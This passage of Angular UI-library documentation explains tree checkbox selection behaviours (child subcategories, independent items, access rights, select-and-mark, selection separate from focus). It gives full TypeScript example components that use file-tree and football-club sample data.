        this.dataSource.data = this.treeData = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    getLevel = (node: FileFlatNode) => node.level;

    getValue = (node: FileFlatNode) => node.name;

    getViewValue = (node: FileFlatNode): string => {
        const nodeType = node.type ? `.${node.type}` : '';

        return `${node.name}${nodeType}`;
    };

    isExpandable = (node: FileFlatNode) => node.expandable;

    getChildren = (node: FileNode) => node.children;

    transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children?.length;

        return flatNode;
    };
}

@Component({
    selector: 'tree-descendants-subcategories-example',
    imports: [
        KbqTreeModule,
        FormsModule,
        KbqHighlightModule
    ],
    template: `
        <kbq-tree-selection
            multiple="checkbox"
            [autoSelect]="false"
            [dataSource]="dataSource"
            [treeControl]="treeControl"
            [(ngModel)]="modelValue"
            (selectionChange)="onSelectionChange($event)"
        >
            <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding [checkboxThirdState]="true">
                <span
                    [innerHTML]="treeControl.getViewValue(node) | kbqHighlightBackground: treeControl.filterQuery"
                ></span>
            </kbq-tree-option>

            <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding [checkboxThirdState]="true">
                <kbq-tree-node-toggle [node]="node" />

                <span
                    [innerHTML]="treeControl.getViewValue(node) | kbqHighlightBackground: treeControl.filterQuery"
                ></span>
            </kbq-tree-option>
        </kbq-tree-selection>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeDescendantsSubcategoriesExample extends TreeParams {
    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    modelValue: any = ['docs'];

    readonly tree = viewChild.required(KbqTreeSelection);

    constructor() {
        super();
    }

    onSelectionChange($event: KbqTreeSelectionChange<KbqTreeOption>) {
        const option: KbqTreeOption = $event.option;

        if (option.isExpandable) {
            this.tree().setStateChildren(option, !option.selected);
        }

        this.toggleParents(($event.option.data as any)?.parent);
    }

    private toggleParents(parent) {
        if (!parent) {
            return;
        }

        const descendants = this.treeControl.getDescendants(parent);
        const isParentSelected = this.tree().selectionModel.selected.includes(parent);

        if (!isParentSelected && descendants.every((d: any) => this.tree().selectionModel.selected.includes(d))) {
            this.tree().selectionModel.select(parent);
            this.toggleParents(parent.parent);
        } else if (isParentSelected) {
            this.tree().selectionModel.deselect(parent);
            this.toggleParents(parent.parent);
        }
    }
}
```

##### Independent items

The second tree behavior algorithm — levels that are independent of each other.

**When to use**

All items are independent of each other, simply visually grouped in a tree.

For example, in a system where users can assign tags, and these tags can be organized into folders and subfolders. Assigning a child tag to an object does not mean the folder object should also be assigned. And conversely, assigning a folder tag has no effect on assigning a child tag.

**How it works**

No checkboxes affect each other.

**How to save to the model and select matcher**

Checked checkboxes are saved.

**Example: Tree multiple checkbox** (`tree-multiple-checkbox`)

```ts tree-multiple-checkbox-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqIconModule } from '@koobiq/components/icon';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'components-dev': {
            alert: '',
            badge: ''
        },
        'koobiq-examples': '',
        'koobiq-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

@Component({
    selector: 'tree-multiple-checkbox-example',
    imports: [
        KbqTreeModule,
        FormsModule,
        KbqIconModule
    ],
    template: `
        <kbq-tree-selection
            multiple="checkbox"
            [dataSource]="dataSource"
            [treeControl]="treeControl"
            [(ngModel)]="modelValue"
        >
            <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding [disabled]="node.name === 'tests'">
                <i kbq-icon="kbq-circle-info_16"></i>

                <span [innerHTML]="treeControl.getViewValue(node)"></span>
            </kbq-tree-option>

            <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                <i kbq-icon="kbq-circle-info_16"></i>

                <kbq-tree-node-toggle [node]="node" />

                <span [innerHTML]="treeControl.getViewValue(node)"></span>
            </kbq-tree-option>
        </kbq-tree-selection>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeMultipleCheckboxExample {
    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    modelValue: any = [];

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FileFlatNode): string => {
        const nodeType = node.type ? `.${node.type}` : '';

        return `${node.name}${nodeType}`;
    };
}
```

##### Access rights

The third tree behavior variant is an extension of the "Child subcategories" variant.

**When to use**

When you need to assign access rights to a tree of objects. Both rules apply:

1. Granting access rights to a parent object also grants rights to child items.
2. It is important to preserve the explicit selection of child items, even when parents are selected. For example, rights to `group 1.1` were granted first, then rights to group 1 were granted. If the system requires that the rights to 1.1 be preserved, this algorithm should be applied.

**How it works**

Similar to the "Child subcategories" variant, but with one restriction.
When a parent is selected, child items are not just checked — they are also disabled.
Only what is explicitly checked is saved.

In addition, if an item was selected and then its parent was selected, the siblings of that item will be selected and disabled, while the explicitly selected item remains enabled. This indicates that a specific rule is set on it.
If the checkbox on such an item is unchecked, it becomes disabled. To restore its explicit assignment, the parent's checkbox must be unchecked.

- Single non-expandable node
  - On selection:
    - Highlighted in blue; the node is not blocked.
  - On deselection:
    - If no parent is selected, simply deselected.
    - If any parent node is selected, selection and disabling occurs (becomes gray).
- Expandable node
  - On selection:
    - All child nodes that are not selected become selected and disabled (become gray).
    - If a child is already selected, nothing happens.
  - On deselection:
    - If any parent node is selected, selection and disabling occurs (becomes gray).
    - If a child node was explicitly selected and highlighted in blue, it remains untouched, while other child nodes are deselected (note that some disabled nodes may be inside selected nodes).
    - If N+1 level child nodes are disabled, deselection and node activation occur.
    - If an N+1 level child node is expandable, it is recursively checked.
- **Difference from "Child subcategories":** If all child nodes are selected, this does not mean the parent node is automatically selected.

**How to save to the model and select matcher**

Only explicitly checked items are saved. Disabled items are not saved.

**Example: Tree access rights** (`tree-access-rights`)

```ts tree-access-rights-example.ts
import { AfterViewInit, ChangeDetectionStrategy, Component, OnDestroy, viewChild } from '@angular/core';
import { FormsModule } from '@angular/forms';
import {
    FlatTreeControl,
    KbqTreeFlatDataSource,
    KbqTreeFlattener,
    KbqTreeModule,
    KbqTreeSelection
} from '@koobiq/components/tree';
import { Subscription } from 'rxjs';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

const allDescendantsSelected = <T>(descendants: T[], selectionList: any) => {
    return descendants.every((descendant) => selectionList.includes(descendant));
};

const recursiveDeselect = (node: any, control: FlatTreeControl<any>) => {
    const descendants: any[] = control.getDescendants(node);
    const descendantsForDeselection: any[] = [];

    for (const descendant of descendants) {
        if (descendant.disabled && descendant.level === node.level + 1) {
            descendantsForDeselection.push(descendant);

            if (descendant.expandable) {
                descendantsForDeselection.push(...recursiveDeselect(descendant, control));
            }

            descendantsForDeselection.push(descendant);
        }
    }

    return descendantsForDeselection;
};

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        koobiq: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'koobiq-dev': {
            alert: '',
            badge: ''
        },
        'koobiq-examples': '',
        'koobiq-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

abstract class TreeParams {
    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;
    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;
    treeData: FileNode[];

    constructor() {
        this.treeControl = new FlatTreeControl(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue,
            undefined,
            undefined,
            this.isDisabled
        );
        this.treeFlattener = new KbqTreeFlattener<FileNode, FileFlatNode>(
            this.transformer,
            this.getLevel,
            this.isExpandable,
            this.getChildren
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);
        this.dataSource.data = this.treeData = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    getLevel = (node: FileFlatNode) => node.level;

    getValue = (node: FileFlatNode) => node.name;

    getViewValue = (node: FileFlatNode): string => {
        const nodeType = node.type ? `.${node.type}` : '';

        return `${node.name}${nodeType}`;
    };

    isDisabled = (node: any): boolean => {
        return node.disabled;
    };

    isExpandable = (node: FileFlatNode) => node.expandable;

    getChildren = (node: FileNode) => node.children;

    transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children?.length;

        return flatNode;
    };
}

@Component({
    selector: 'tree-access-rights-example',
    imports: [
        KbqTreeModule,
        FormsModule
    ],
    template: `
        <kbq-tree-selection
            multiple="checkbox"
            [autoSelect]="false"
            [dataSource]="dataSource"
            [ngModel]="modelValue"
            [treeControl]="treeControl"
            (ngModelChange)="onModelChange($event)"
        >
            <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding>
                <span>{{ treeControl.getViewValue(node) }}</span>
            </kbq-tree-option>

            <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                <kbq-tree-node-toggle [node]="node" />

                <span>{{ treeControl.getViewValue(node) }}</span>
            </kbq-tree-option>
        </kbq-tree-selection>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeAccessRightsExample extends TreeParams implements AfterViewInit, OnDestroy {
    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    modelValue: any = [];
    filteredModel: any = [];

    selectionChangeSubscription: Subscription = Subscription.EMPTY;

    readonly tree = viewChild.required(KbqTreeSelection);

    constructor() {
        super();
    }

    ngAfterViewInit(): void {
        const handleSingleOption = (items, cb) => {
            // Process only when a single item is selected
            if (items.length === 1) {
                const singleOrParent: any = items[0];

                cb(singleOrParent);
            }
        };

        this.selectionChangeSubscription = this.tree().selectionModel.changed.subscribe(({ added, removed }) => {
            handleSingleOption(added, (singleItemOrParent: any) => {
                if (singleItemOrParent.expandable) {
                    const descendants = this.treeControl.getDescendants(singleItemOrParent);

                    if (!allDescendantsSelected(descendants, this.tree().selectionModel.selected)) {
                        descendants.forEach((descendant) => {
                            const previouslySelected = (descendant as any)?.singleSelected;

                            if (!previouslySelected) {
                                (descendant as any).disabled = true;
                            }
                        });
                        setTimeout(() => this.tree().selectionModel.select(...(descendants as any[])));
                    }
                }

                // check after descendants selected with parent selection
                setTimeout(() => {
                    if (!singleItemOrParent.disabled) {
                        singleItemOrParent.singleSelected = true;
                    }
                });
            });

            handleSingleOption(removed, (singleItemOrParent: any) => {
                const parents = this.treeControl.getParents(singleItemOrParent, []);

                const descendantsForDeselection: any[] = recursiveDeselect(singleItemOrParent, this.treeControl);

                if (descendantsForDeselection.length) {
                    this.tree().selectionModel.deselect(...descendantsForDeselection);
                    descendantsForDeselection.forEach((descendant) => (descendant.disabled = undefined));
                }

                // set disabled if any parent selected
                if (
                    singleItemOrParent.singleSelected &&
                    parents.some((parent: any) => this.tree().selectionModel.selected.includes(parent))
                ) {
                    singleItemOrParent.disabled = true;
                    // Delay selection for the next loop after parent deselection
                    setTimeout(() => {
                        this.tree().selectionModel.select(singleItemOrParent);
                    }, 0);
                }

                // unselect in any case
                setTimeout(() => {
                    singleItemOrParent.singleSelected = undefined;
                }, 0);
            });
        });
    }

    ngOnDestroy(): void {
        this.selectionChangeSubscription.unsubscribe();
    }

    onModelChange($event) {
        this.modelValue = $event;
        this.filteredModel = this.tree()
            .selectionModel.selected.filter((option: any) => !option.disabled)
            .map((node: any) => this.treeControl.getValue(node));
    }
}
```

#### Selection and marking

Clicking an item selects it and updates the information in the right panel. Clicking the checkbox marks the item, but the information in the right panel does not change.

The list can also be navigated with the keyboard. Enter selects an item and updates the text in the right panel, while Space marks it. The selected item changes along with navigation.

**Example: tree-select-and-mark** (`tree-select-and-mark`)

```ts tree-select-and-mark-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqPseudoCheckboxModule } from '@koobiq/components/core';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';

export class FileNode {
    children: FileNode[];
    name: string;
    description: string;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    description: string;
    level: number;
    expandable: boolean;
    parent: any;
    checked: boolean;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(countries: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const country of countries) {
        const node = new FileNode();

        node.name = country.name;
        node.description = country.description;

        if (country.clubs && country.clubs.length) {
            node.children = buildFileTree(country.clubs, level + 1);
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = [
    {
        name: 'England',
        description:
            "England is considered the birthplace of modern football, with the Football Association (FA) founded in 1863. The English Premier League, established in 1992, is one of the most watched sports leagues globally. England won its first and only World Cup in 1966. The country has a rich football culture with intense local rivalries and historic stadiums. English football is known for its physicality, pace, and passionate fan support. The FA Cup, first held in 1871, is the world's oldest national football competition.'",
        clubs: [
            {
                name: 'Arsenal',
                description:
                    "Founded in 1886 as Dial Square, Arsenal is one of England's most successful clubs with 13 league titles. Based in North London, they're known as 'The Gunners'. Arsène Wenger's 'Invincibles' of 2003-04 went an entire Premier League season unbeaten. The club has a reputation for attractive, attacking football and has developed many world-class players. Their home, the Emirates Stadium, is one of England's finest football arenas. Arsenal's rivalry with Tottenham Hotspur is among English football's most intense derbies."
            },
            {
                name: 'Chelsea',
                description:
                    "Founded in 1905, Chelsea rose to global prominence after Roman Abramovich's 2003 takeover. Based in West London, they've won multiple Premier League titles and two Champions League trophies (2012, 2021). Known as 'The Blues', their Stamford Bridge stadium has been home since formation. Chelsea became known for defensive solidity under José Mourinho and later for developing young talent. The club holds the record for most consecutive home games unbeaten in English football (86 from 2004-2008). Their rivalry with nearby clubs like Fulham and QPR is fierce"
            },
            {
                name: 'Liverpool',
                description:
                    "Liverpool FC, founded in 1892, is England's most successful club in European competitions with 6 Champions League titles. Based at Anfield, their anthem 'You'll Never Walk Alone' is world-famous. The club dominated English football in the 1970s-80s under Bill Shankly and Bob Paisley. The Hillsborough disaster (1989) profoundly impacted the club and football safety standards. Jürgen Klopp's modern team restored Liverpool to European elite status. Their rivalry with Everton (Merseyside derby) and Manchester United are among football's most passionate"
            }
        ]
    },
    {
        name: 'Germany',
        description:
            "German football is renowned for its efficiency, strong youth development, and fan-friendly stadium culture. The Bundesliga, founded in 1963, boasts the highest average attendance globally. Germany has won 4 World Cups (1954, 1974, 1990, 2014) and 3 European Championships. The country revolutionized football tactics with innovations like 'gegenpressing'. German clubs are majority fan-owned under the 50+1 rule. The DFB-Pokal is Germany's premier cup competition. German football recovered strongly after post-war division, with East Germany having its own football structure until reunification.'",
        clubs: [
            {
                name: 'Bayern Munich',
                description:
                    "Germany's most successful club, Bayern Munich was founded in 1900 and dominates the Bundesliga with over 30 titles. Based at the Allianz Arena, they've won 6 Champions League trophies. Known for developing world-class players like Beckenbauer, Müller, and Lahm. Their rivalry with Borussia Dortmund defines modern German football. Under Uli Hoeneß, Bayern became a global brand while maintaining local traditions. The club's 1970s team revolutionized European football. Bayern's women's team is also among Germany's best. Their motto 'Mia san mia' (We are who we are) reflects Bavarian identity"
            },
            {
                name: 'Wolfsburg',
                description:
                    "VfL Wolfsburg, founded in 1945, is unique as being originally a works team for Volkswagen. Based in Lower Saxony, they won their only Bundesliga title in 2008-09 under Felix Magath. The club is known for developing young talents and has a strong women's team that dominates German women's football. Their home stadium is the Volkswagen Arena. Wolfsburg's rise reflects Germany's industrial football culture. The club has participated in European competitions multiple times. Their green-and-white colors match Volkswagen's corporate identity, maintaining close ties with the automaker."
            }
        ]
    },
    {
        name: 'Spain',
        description:
            "Spanish football is characterized by technical skill, tactical innovation, and fierce regional rivalries. La Liga, founded in 1929, features some of the world's best clubs. Spain's national team dominated world football from 2008-2012, winning two European Championships and a World Cup with their 'tiki-taka' style. The Copa del Rey is Spain's premier cup competition. Spanish clubs have been exceptionally successful in European competitions. The country's football culture reflects its diverse regional identities, with historic clubs representing different linguistic and cultural communities within Spain.",
        clubs: [
            {
                name: 'Atletico Madrid',
                description:
                    "Founded in 1903, Atlético Madrid is known as 'Los Colchoneros' (The Mattress Makers) due to their striped jerseys. Based at the Wanda Metropolitano, they've won 11 La Liga titles, often challenging Barcelona and Real Madrid. Under Diego Simeone, they became known for defensive solidity and intense work ethic. The club has won 3 Europa Leagues and reached 3 Champions League finals. Their identity is built on fighting spirit and overcoming financial limitations. Atlético's rivalry with Real Madrid is among Europe's most intense city derbies. The club developed world-class strikers like Fernando Torres and Antoine Griezmann."
            },
            {
                name: 'Barcelona',
                description:
                    "FC Barcelona, founded in 1899, is more than a club ('Més que un club') representing Catalan identity. Based at Camp Nou, they've won 5 Champions League titles and 26 La Liga titles. Their La Masia academy produced legends like Messi, Xavi, and Iniesta. Johan Cruyff's 'Dream Team' in the 1990s established Barcelona's commitment to attacking football. The club pioneered the tiki-taka style under Pep Guardiola. Barcelona's rivalry with Real Madrid (El Clásico) is football's biggest club match. The club operates as a membership society, owned by its fans. Their 2009 sextuple remains unmatched in football history."
            },
            {
                name: 'Real Madrid',
                description:
                    "Real Madrid, founded in 1902, is the most successful club in Champions League history with 14 titles. Based at the Santiago Bernabéu, they've won 35 La Liga titles. The club was instrumental in creating the European Cup in the 1950s. Their all-white kit and Galácticos transfer policy are legendary. Alfredo Di Stéfano, Cristiano Ronaldo, and Zinedine Zidane are among their icons. Under Florentino Pérez, Madrid became a global sporting brand. Their rivalry with Barcelona mixes football with Spain's political tensions. The club was named 'Real' (Royal) by King Alfonso XIII in 1920"
            }
        ]
    }
];

@Component({
    selector: 'tree-select-and-mark-example',
    imports: [
        KbqTreeModule,
        FormsModule,
        KbqPseudoCheckboxModule
    ],
    template: `
        <div class="layout-row">
            <div class="flex-30">
                <kbq-tree-selection [dataSource]="dataSource" [treeControl]="treeControl" [(ngModel)]="modelValue">
                    <kbq-tree-option
                        *kbqTreeNodeDef="let node"
                        kbqTreeNodePadding
                        [class.kbq-checked]="node.checked"
                        (keydown.space)="toggleCheckboxState($event, node)"
                    >
                        <kbq-pseudo-checkbox [state]="node.checked" (click)="toggleCheckboxState($event, node)" />
                        <span [innerHTML]="treeControl.getViewValue(node)"></span>
                    </kbq-tree-option>

                    <kbq-tree-option
                        *kbqTreeNodeDef="let node; when: hasChild"
                        kbqTreeNodePadding
                        [class.kbq-checked]="node.checked"
                        (keydown.space)="toggleCheckboxState($event, node)"
                    >
                        <kbq-tree-node-toggle [node]="node" />

                        <kbq-pseudo-checkbox [state]="node.checked" (click)="toggleCheckboxState($event, node)" />
                        <span [innerHTML]="treeControl.getViewValue(node)"></span>
                    </kbq-tree-option>
                </kbq-tree-selection>
            </div>

            <div class="layout-padding-left-l layout-padding-right-l flex-70">
                <div class="kbq-subheading layout-padding-bottom-s">{{ modelValue.name }}</div>
                <div class="kbq-text-normal">{{ modelValue.description }}</div>
            </div>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeSelectAndMarkExample {
    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    modelValue: any = '';

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.description = node.description;
        flatNode.parent = parent;
        flatNode.level = level;
        flatNode.expandable = !!node.children;
        flatNode.checked = false;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): FileFlatNode => {
        return node;
    };

    private getViewValue = (node: FileFlatNode): string => {
        return `${node.name}`;
    };

    toggleCheckboxState(event: Event, node: FileFlatNode) {
        event.preventDefault();
        event.stopPropagation();

        node.checked = !node.checked;
    }
}
```

#### Selection separate from focus

When navigating the list, the selected item does not change along with the focus position. An item can be selected by clicking or pressing Enter.

**Example: tree-selection-separate-from-focus** (`tree-selection-separate-from-focus`)

```ts tree-selection-separate-from-focus-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqPseudoCheckboxModule } from '@koobiq/components/core';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';

export class FileNode {
    children: FileNode[];
    name: string;
    description: string;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    description: string;
    level: number;
    expandable: boolean;
    parent: any;
    checked: boolean;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(countries: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const country of countries) {
        const node = new FileNode();

        node.name = country.name;
        node.description = country.description;

        if (country.clubs && country.clubs.length) {
            node.children = buildFileTree(country.clubs, level + 1);
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = [
    {
        name: 'England',
        description:
            "England is considered the birthplace of modern football, with the Football Association (FA) founded in 1863. The English Premier League, established in 1992, is one of the most watched sports leagues globally. England won its first and only World Cup in 1966. The country has a rich football culture with intense local rivalries and historic stadiums. English football is known for its physicality, pace, and passionate fan support. The FA Cup, first held in 1871, is the world's oldest national football competition.'",
        clubs: [
            {
                name: 'Arsenal',
                description:
                    "Founded in 1886 as Dial Square, Arsenal is one of England's most successful clubs with 13 league titles. Based in North London, they're known as 'The Gunners'. Arsène Wenger's 'Invincibles' of 2003-04 went an entire Premier League season unbeaten. The club has a reputation for attractive, attacking football and has developed many world-class players. Their home, the Emirates Stadium, is one of England's finest football arenas. Arsenal's rivalry with Tottenham Hotspur is among English football's most intense derbies."
            },
            {
                name: 'Chelsea',
                description:
                    "Founded in 1905, Chelsea rose to global prominence after Roman Abramovich's 2003 takeover. Based in West London, they've won multiple Premier League titles and two Champions League trophies (2012, 2021). Known as 'The Blues', their Stamford Bridge stadium has been home since formation. Chelsea became known for defensive solidity under José Mourinho and later for developing young talent. The club holds the record for most consecutive home games unbeaten in English football (86 from 2004-2008). Their rivalry with nearby clubs like Fulham and QPR is fierce"
            },
            {
                name: 'Liverpool',
                description:
                    "Liverpool FC, founded in 1892, is England's most successful club in European competitions with 6 Champions League titles. Based at Anfield, their anthem 'You'll Never Walk Alone' is world-famous. The club dominated English football in the 1970s-80s under Bill Shankly and Bob Paisley. The Hillsborough disaster (1989) profoundly impacted the club and football safety standards. Jürgen Klopp's modern team restored Liverpool to European elite status. Their rivalry with Everton (Merseyside derby) and Manchester United are among football's most passionate"
            }
        ]
    },
    {
        name: 'Germany',
        description:
            "German football is renowned for its efficiency, strong youth development, and fan-friendly stadium culture. The Bundesliga, founded in 1963, boasts the highest average attendance globally. Germany has won 4 World Cups (1954, 1974, 1990, 2014) and 3 European Championships. The country revolutionized football tactics with innovations like 'gegenpressing'. German clubs are majority fan-owned under the 50+1 rule. The DFB-Pokal is Germany's premier cup competition. German football recovered strongly after post-war division, with East Germany having its own football structure until reunification.'",
        clubs: [
            {
                name: 'Bayern Munich',
                description:
                    "Germany's most successful club, Bayern Munich was founded in 1900 and dominates the Bundesliga with over 30 titles. Based at the Allianz Arena, they've won 6 Champions League trophies. Known for developing world-class players like Beckenbauer, Müller, and Lahm. Their rivalry with Borussia Dortmund defines modern German football. Under Uli Hoeneß, Bayern became a global brand while maintaining local traditions. The club's 1970s team revolutionized European football. Bayern's women's team is also among Germany's best. Their motto 'Mia san mia' (We are who we are) reflects Bavarian identity"
            },
            {
                name: 'Wolfsburg',
                description:
                    "VfL Wolfsburg, founded in 1945, is unique as being originally a works team for Volkswagen. Based in Lower Saxony, they won their only Bundesliga title in 2008-09 under Felix Magath. The club is known for developing young talents and has a strong women's team that dominates German women's football. Their home stadium is the Volkswagen Arena. Wolfsburg's rise reflects Germany's industrial football culture. The club has participated in European competitions multiple times. Their green-and-white colors match Volkswagen's corporate identity, maintaining close ties with the automaker."
            }
        ]
    },
    {
        name: 'Spain',
        description:
            "Spanish football is characterized by technical skill, tactical innovation, and fierce regional rivalries. La Liga, founded in 1929, features some of the world's best clubs. Spain's national team dominated world football from 2008-2012, winning two European Championships and a World Cup with their 'tiki-taka' style. The Copa del Rey is Spain's premier cup competition. Spanish clubs have been exceptionally successful in European competitions. The country's football culture reflects its diverse regional identities, with historic clubs representing different linguistic and cultural communities within Spain.",
        clubs: [
            {
                name: 'Atletico Madrid',
                description:
